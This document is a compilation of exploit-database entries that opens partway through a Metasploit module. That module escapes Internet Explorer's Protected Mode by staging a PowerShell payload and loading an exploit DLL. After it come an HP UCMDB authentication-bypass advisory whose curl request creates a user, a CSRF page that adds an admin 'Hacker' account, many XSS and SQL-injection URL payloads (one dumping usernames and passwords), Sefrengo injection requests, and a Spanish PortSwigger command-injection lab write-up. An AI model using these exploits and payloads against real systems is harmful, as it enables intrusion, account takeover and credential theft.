        the Protected Mode, and execute code with Medium Integrity. At the moment, this module only
        bypass Protected Mode on Windows 7 SP1 and prior (32 bits). This module has been tested
        successfully on Windows 7 SP1 (32 bits) with IE 8 and IE 11.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # From Threat Intel of Symantec
          'Henry Li', # Public vulnerability analysis
          'juan vazquez' # Metasploit module
        ],
      'Platform'       => 'win',
      'SessionTypes'   => ['meterpreter'],
      'Arch'           => [ARCH_X86],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 30
        },
      'Targets'        =>
        [
          [ 'Protected Mode (Windows 7) / 32 bits',
            {
              'Arch' => ARCH_X86
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'References'     =>
        [
          ['CVE', '2015-0016'],
          ['MSB', 'MS15-004'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/']
        ],
      'DisclosureDate' => 'Jan 13 2015'
    }))
  end

  def check
    temp = get_env('WINDIR')
    dll_path = "#{temp}\\System32\\TSWbPrxy.exe"

    win_ver = sysinfo['OS']

    unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/
      return Exploit::CheckCode::Safe
    end

    unless file_exist?(dll_path)
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    print_status('Checking target...')
    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NotVulnerable, 'System not vulnerable')
    end

    if session.platform !~ /^x86\//
      fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')
    end

    win_ver = sysinfo['OS']
    if win_ver =~ /Windows 2012|Windows 8/
      fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')
    end

    print_status('Checking the Process Integrity Level...')

    unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NotVulnerable, 'Not running at Low Integrity')
    end

    cmd = cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      { :remove_comspec => true }
    )

    print_status('Storing payload on environment variable...')
    cmd.gsub!('powershell.exe ','')
    session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)

    print_status('Exploiting...')
    temp = get_env('TEMP')
    # Using the old meterpreter loader, if it's loaded with
    # Reflective DLL Injection the exceptions in the sandbox
    # policy won't apply.
    session.core.load_library(
      'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'),
      'TargetFilePath'  => temp +  '\\cve-2015-0016.dll',
      'UploadLibrary'   => true,
      'Extension'       => false,
      'SaveToDisk'      => false
    )
  end

  def cleanup
    session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', nil)
    super
  end

end
HireHackking 
Mogwai Security Advisory MSA-2015-02
----------------------------------------------------------------------
Title: Hewlett-Packard UCMDB - JMX-Console Authentication Bypass
CVE-ID: CVE-2014-7883
Product: Hewlett-Packard Universal CMDB (UCMDB)    
Affected versions: UCMDB 10.10 (Other versions might also be affected) 
Impact: high
Remote: yes
Product link: http://www8.hp.com/us/en/software-solutions/configuration-management-system-database/index.html
Reported: 14/11/2014 
by: Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench) 


Vendor's Description of the Software:
----------------------------------------------------------------------
The HP Universal CMDB (UCMDB) automatically collects and manages accurate and
current business service definitions, associated infrastructure relationships and
detailed information on the assets, and is a central component in many of the key processes in your
IT organization, such as change management, asset management, service management, and business
service management. The UCMDB ensures that these processes can rely on comprehensive and
true data for all business services. Together with HP UCMDB Configuration Manager
(UCMDB-CM) you can standardize your IT environments, and make sure they comply with clear
policies, and defined authorization process.
Many IT organizations turn to a CMDB and configuration management processes to create a
shared single version of truth to support business service management, IT service management,
change management, and asset management initiatives. These initiatives help align IT efforts
with business requirements and run IT operations more efficiently and effectively.
The initiatives success depends on the CMDB providing a complete view into the
configuration items (CIs) and assets as well as how various IT elements relate together to deliver
the business service.
-----------------------------------------------------------------------

Business recommendation:
-----------------------------------------------------------------------
Apply configuration changes from HP 
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetsearch/document/KM01351169


-- CVSS2 Ratings ------------------------------------------------------

CVSS Base Score: 6.4
Impact Subscore: 4.9
Exploitability Subscore: 10
CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:N)
-----------------------------------------------------------------------


Vulnerability description:
----------------------------------------------------------------------
UCMB administrators heavily rely on a JMX-Console, which is installed by
default.
The JMX-Console web application in UCMDB performs access control only for 
the GET and POST methods, which allows remote attackers to send requests 
to this application's GET handler by using a different method (for example
HEAD).

The web.xml file of the JMX Console contains following security constrains:

<security-constraint>
<web-resource-collection>
<web-resource-name>Protected Pages</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>sysadmin</role-name>
</auth-constraint>
</security-constraint>

<security-constraint>
<web-resource-collection>
<web-resource-name>Callhome Servlet</web-resource-name>
<url-pattern>/callhome</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
</security-constraint>

This vulnerability is identical with CVE-2010-0738 (JBoss JMX-Console 
Authentication bypass). This can be used to create a new account which 
can then be used to access the JMX console.


Proof of concept:
----------------------------------------------------------------------

The following Curl command will send a HEAD request to create a new user
"pocuser" in the UCMDB Backend:

curl -I
"http://foobar:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=UCMDB%3Aservice%3DAuthorization+Services&methodName=createUser&arg0=&arg1=zdi-poc&arg2=pocuser&arg3=zdi-poc&arg4=pocuser"

Disclosure timeline:
----------------------------------------------------------------------
14/11/2014: Reporting issue to HP
18/11/2014: Re-Reporting, as no acknowledge received
18/11/2014: Acknowledge from HP
02/01/2015: Requesting status update from HP
29/01/2015: Requesting status update from HP
31/01/2015: Response from HP, they plan to release the advisory next week
02/05/2015: HP releases security bulletin
03/05/2015: Mogwai security bulletin release


Advisory URL:
----------------------------------------------------------------------
https://www.mogwaisecurity.de/#lab


References:
----------------------------------------------------------------------
Official HP security bulletin
https://h20564.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c04553906


----------------------------------------------------------------------
Mogwai, IT-Sicherheitsberatung Muench
Steinhoevelstrasse 2/2
89075 Ulm (Germany)

info@mogwaisecurity.de
HireHackking 
<html>
<!--
# Exploit Title: ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)
# Date: 05 December 2014
# Exploit Author: Mohamed Idris – Help AG Middle East
# Vendor Homepage: http://www.manageengine.com/
# Software Link: http://www.manageengine.com/products/desktop-central/
# Version: All versions below build 90121
# Tested on: Version 9 Build 90087
# CVEID: CVE-2014-9331
# Vulnerability Fix: http://www.manageengine.com/products/desktop-central/cve20149331-cross-site-request-forgery.html

POC Code:
When an authenticated application admin clicks a link to the below code, you well get a user “Hacker” with the password “HackerPass” added to the application (convincing the admin to click on a link is so easy ;)).
Remember to change the IP to the target server IP address in the code.
-->
  <!-- CSRF PoC - Add an admin account -->
  <body>
    <form action="http://<Server-IP>:8020/STATE_ID/1417736606982/roleMgmt.do?actionToCall=addUser&SUBREQUEST=XMLHTTP" method="POST">
      <input type="hidden" name="AuthenticationType" value="DC" />
      <input type="hidden" name="newDCAuthUserName" value="Hacker" />
      <input type="hidden" name="newDCAuthUserPassword" value="HackerPass" />
      <input type="hidden" name="DCAuthconfirmPassword" value="HackerPass" />
      <input type="hidden" name="newDCAuthUserEmail" value="" />
      <input type="hidden" name="newDCAuthUserPNumber" value="" />
      <input type="hidden" name="newADAuthUserEmail" value="" />
      <input type="hidden" name="newADAuthUserPNumber" value="" />
      <input type="hidden" name="MapType" value="ALL" />
      <input type="hidden" name="aduserSearch" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="aduserSearchRO" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="action1" value="DC_ADD_USER" />
      <input type="hidden" name="addUser" value="Add User" />
      <input type="hidden" name="cancle" value="Cancel" />
      <input type="hidden" name="customerids" value="" />
      <input type="hidden" name="roleListDCAuth" value="1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="hidden" name="domainListADAuth" value="-1" />
      <input type="hidden" name="roleListADAuth" value="-1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
HireHackking 
source: https://www.securityfocus.com/bid/48878/info

Willscript Recipes website Script Silver Edition is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/new_recipes/recipes/viewRecipe.php?recipeId=44
HireHackking 
source: https://www.securityfocus.com/bid/48875/info

Online Grades is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Online Grades 3.2.5 is vulnerable; other versions may also be affected. 


http://www.example.com/admin/admin.php?func=1"><script>alert(1)</script>&skin=classic
http://www.example.com/admin/admin.php?func=0&skin=1"><script>alert(1)</script>
http://www.example.com/admin/admin.php?func=0&todo=1"><script>alert(1)</script>
http://www.example.com/admin/admin.php?func=0&what=1"><script>alert(1)</script>&who=Faculty
http://www.example.com/admin/admin.php?func=0&what=mail&who=1"><script>alert(1)</script>
http://www.example.com/admin/admin.php/>"><script>alert(1)</script>
HireHackking 
source: https://www.securityfocus.com/bid/48872/info

Godly Forums is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Forum/topics.php?id=2
HireHackking 
source: https://www.securityfocus.com/bid/48835/info

Synergy Software is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/courses.php?id=-1 union select null,user_loginname_vc,null,null,null,user_pass_vc,null,null,null,null from user_m
HireHackking 
source: https://www.securityfocus.com/bid/48814/info

Cyberoam UTM is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?srcip=<script>alert(document.cookie)</script>
HireHackking 
source: https://www.securityfocus.com/bid/48806/info

Tiki Wiki CMS Groupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Tiki Wiki CMS Groupware 7.0 is vulnerable; other versions may also be affected. 

http://www.example.com/snarf_ajax.php?url=1&ajax=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
# Exploit Title: Sefrengo CMS v1.6.1 - Multiple SQL Injection Vulnerabilities 
# Google Dork: N/A
# Date: 01/26/2015
# Exploit Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team (www.itas.vn)
# Vendor Homepage: http://www.sefrengo.org/ 
# Software Link: http://forum.sefrengo.org/index.php?showtopic=3368 (https://github.com/sefrengo-cms/sefrengo-1.x/tree/22c0d16bfd715631ed317cc990785ccede478f07)
# Version: Sefrengo CMS v1.6.1
# Tested on: Linux
# CVE : CVE-2015-1428



::PROOF OF CONCEPT::

Link 1:


POST /sefrengo/backend/main.php?idcatside= HTTP/1.1
Host: itaslab.vn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://itaslab.vn/sefrengo/backend/main.php
Cookie: browserspy_js=1; sefrengo=[SQL INJECTION HERE]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 707
username=abc&password=abc&Submit=Login+%C2%BB&sid_sniffer=5%2C5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2
Ctrue%2Cfalse%2Ctrue%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C
false%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse
%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C1.5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse
%2Cfalse%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse
%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse
%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Ctrue%2Ctrue%2Cfalse&response=
&area=con


- Vulnerable file:       /backend/external/phplib/ct_sql.inc
- Vulnerable function:   function ac_get_value($id, $name)
- Vulnerable parameter:  $id
- Vulnerable code: 
function ac_get_value($id, $name) {
	global $cms_db;
    $this->db->query(sprintf("select val from %s where sid  = '%s' and name = '%s'",
      $cms_db['sessions'],
      $id,
      addslashes($name)));
    if ($this->db->next_record()) {
      $str  = $this->db->f("val");
      $str2 = base64_decode( $str );

      if ( ereg("^".$name.":.*", $str2) ) {
         $str = ereg_replace("^".$name.":", "", $str2 );
      } else {

        $str3 = stripslashes( $str );

        if ( ereg("^".$name.":.*", $str3) ) {
          $str = ereg_replace("^".$name.":", "", $str3 );
        } else {

          switch ( $this->encoding_mode ) {
            case "slashes":
              $str = stripslashes($str);
            break;

            case "base64":
            default:
              $str = base64_decode($str);
          }
        }
      };
      return $str;
    };
    return "";
}



Link 2:

POST /sefrengo/backend/main.php HTTP/1.1
Host: research-itasvn.rhcloud.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://itaslab.vn/sefrengo/backend/main.php?area=settings&action=edit&vid=4491
Cookie: browserspy_js=1; sefrengo=8167bb07461d09b026b28179f7863562
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
value_to_save=45&sefrengo=8167bb07461d09b026b28179f7863562&area=settings&action=save_value&value_id=[SQL INJECTION HERE]&x=6&y=8


- Vulnerable file:       /backend/inc/class.values_ct.php
- Vulnerable function:   function set_value($mixed)
- Vulnerable parameter:  $mixed['id']
- Vulnerable code: 
function set_value($mixed)
{
        global $cms_db, $db;
        //build query

        $sql_group = (empty($mixed['group'])) ? 0: ''.$mixed['group'];
        $sql_client = (empty($mixed['client'])) ? '': 'AND idclient IN ('. $mixed['client'] .')';
        $sql_lang = (empty($mixed['lang'])) ? '': 'AND idlang IN ('. $mixed['lang'] .')';
        $sql_key = (empty($mixed['key'])) ? '': 'AND V.key1 = "'. $mixed['key'] . '" ';
        $sql_key2 = (empty($mixed['key2'])) ? '': 'AND V.key2 = "'. $mixed['key2'] . '" ';
        $sql_key3 = (empty($mixed['key3'])) ? '': 'AND V.key3 = "'. $mixed['key3'] . '" ';
        $sql_key4 = (empty($mixed['key4'])) ? '': 'AND V.key4 = "'. $mixed['key4'] . '" ';
        $sql_id = (empty($mixed['id'])) ? "": "AND V.idvalues = '". $mixed['id'] . "' ";


        $sql = "SELECT 		*
                        FROM		". $cms_db['values'] ."  AS V
                        WHERE		V.group_name IN ('$sql_group')
                        $sql_client $sql_lang
                        $sql_key  $sql_key2  $sql_key3  $sql_key4 $sql_id";

        //die($sql);
        $db -> query($sql);

        $count_rows = $db ->num_rows();

        if($count_rows > 1){
                echo $sql .'<br> Fehler in Klasse "cms_value_ct". Es wurde mehr als ein Ergebnis gefunden. Anfrage ist nicht eindeutig';
                exit;
        }
        elseif($count_rows == 1){
                $db -> next_record();
                $mixed['id'] = $db -> f('idvalues');
                //echo "update";
                $this -> _update_by_id($mixed);
        }
        else{
                $this -> insert($mixed);
        }

}

::DISCLOSURE::
+ 01/08/2015: Send the detail of vulnerabilities to vendor and Vendor confirmed
+ 01/25/2015: Vendor releases patch
+ 01/26/2015: ITAS Team publishes information

::REFERENCE::
- Detail and videos: http://www.itas.vn/news/itas-team-found-out-multiple-sql-injection-vulnerabilities-in-sefrengo-cms-v1-6-1-74.html
- https://github.com/sefrengo-cms/sefrengo-1.x/commit/22c0d16bfd715631ed317cc990785ccede478f07




::COPYRIGHT::
Copyright (c) ITAS CORP 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of ITAS CORP.

::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.
HireHackking 
source: https://www.securityfocus.com/bid/48805/info

Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Joomla! 1.6.5 and prior are vulnerable. 

http://www.example.com/index.php?option=com_resman&task=list&city=<BODY%20ONLOAD=alert("SOLVER")>
HireHackking

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Blind OS command injection with output redirection».

image 173

Para resolver el laboratorio, tenemos que ejecutar el comando whoami en el servidor y leer su salida. Para ello, haremos uso de un Blind OS Command Injection que se encuentra en la función de feedback.

image 174
image 175

Como podemos observar, hay unos cuantos campos a rellenar. Por lo que vamos a rellenarlos:

image 176

Ahora, antes de enviar el feedback. Preparamos el burp suite para que reciba las peticiones:

image 166
image 167

Con esto listo, enviamos el feedback para captar la petición:

image 168
image 177

Esta es la petición que se envía al servidor cuando se envía feedback. Para tratar con ella, la enviamos al repeater pulsando Ctrl R:

image 178

Una vez en el repeater, podemos observar como una petición válida simplemente obtiene una respuesta de estado 200 y no mucho más.

Sin embargo, entre todos los parámetros que se están enviando, vamos a intentar ver si podemos ejecutar un comando en alguno de ellos, y no solo eso, sino redirigir el output a un directorio que podamos acceder. Para de esta forma, poder leer la salida del comando que hemos ejecutado.

Lo primero es determinar a que directorio podemos redirigir la salida de los comandos. Para ello, en este caso, vamos a usar el directorio donde se almacenan las imágenes, que en este caso se nos indica en la descripción del laboratorio:

  • /var/www/images

Sabiendo esto, vamos a intentar realizar un Blind OS Command Injection redirigiendo la salida del comando a un archivo en el directorio de arriba:

image 182

Como se trata de un Blind OS Command Injection, no podemos ver la salida en la respuesta del servidor. Por lo que para confirmar si ha funcionado, tendremos que acceder al archivo al cual hemos redirigido la salida del comando.

Para acceder al archivo en cuestión, como lo hemos puesto en una carpeta llamada «images«. Podemos suponer, que quizás se haya guardado en la misma ruta que por ejemplo las imágenes de las portadas de los productos de la web:

image 179
image 180

Se acceden a las imágenes a través del parámetro filename del archivo image, por lo que vamos a sustituir el valor de este parámetro por el nombre del archivo al que hemos redirigido la salida del comando, en este caso, whoami.txt:

image 183

De esta forma, conseguimos resolver el laboratorio:

image 184

HireHackking 
source: https://www.securityfocus.com/bid/48714/info

The bSuite plug-in for WordPress is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks may also be possible.

bSuite versions 4.0.7 and prior are vulnerable. 


The following example URIs are available:

http://www.example.com/wordpress/?s=<h2>XSSED</h2>

http://www.example.com/wordpress/?p=1&<h1>XSSED</h1>
HireHackking 
source: https://www.securityfocus.com/bid/48711/info

The Iskratel SI2000 Callisto 821+ is prone to a cross-site request-forgery vulnerability and multiple HTML-injection vulnerabilities.

An attacker can exploit the cross-site request-forgery issue to perform unauthorized actions in the context of a user's session. This may aid in other attacks.

The attacker can exploit the HTML-injection issues to execute arbitrary script code in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered. Other attacks are also possible. 

http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:9=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:10=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:11=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/configuration/lan_create_service.html?EmWeb_ns:vim:15=%3Cscript%3Ealert(document.cookie)%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/48707/info

BlueSoft Social Networking CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/demo/user_profile.php?view=photo&photo_id=82â??a